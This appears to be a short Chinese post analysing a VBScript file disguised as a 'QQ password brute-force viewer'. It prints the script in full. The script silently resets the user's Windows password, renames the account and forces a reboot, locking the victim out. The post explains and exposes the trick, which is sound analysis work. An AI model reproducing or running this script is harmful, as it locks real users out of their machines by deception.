一个伪装vbe脚本

文件: D:\临时工作\QQ密码暴力查看器.vbe
大小: 474 字节
修改时间: 2017年11月25日, 12:41:46
MD5: 324556EAF0A76E322E6CD15C9AAB5D37
SHA1: 9258F3D78E2EC23C39A23063A2689E8F8670031E
CRC32: 35FD14FA

打开后是这样的

On Error Resume Next '遇到错误继续执行下一句代码
Dim fso,ws,file,shut,password '定义变量
password="woshigou" '密码赋值为：woshigou
Set fso=Wscript.CreateObject("Scripting.FileSystemObject") '创建对象
Set ws=Wscript.CreateObject("Wscript.Shell") '创建对象
fol=fso.GetSpecialFolder(1) '获取system32文件夹路径
file=fol & "\net.exe" '变量赋值文件路径
shut=fol & "\shutdown.exe" '变量赋值文件路径
ws.run file & " user %UserName% "+Chr(34) & password & Chr(34),0,True '运行net.exe修改系统登录密码为 woshigou
ws.Run "wmic.exe useraccount where name='%username%' call Rename ""+QQ294**破解"+Chr(34),0,True
更改用户名为：QQ294*****破解
ws.run shut & " /r /f /t 0",0 '运行shutdown.exe重启电脑

进一步查看到该作者为文宫高中学生，看来是用来恶作剧，不再探究。。。、。。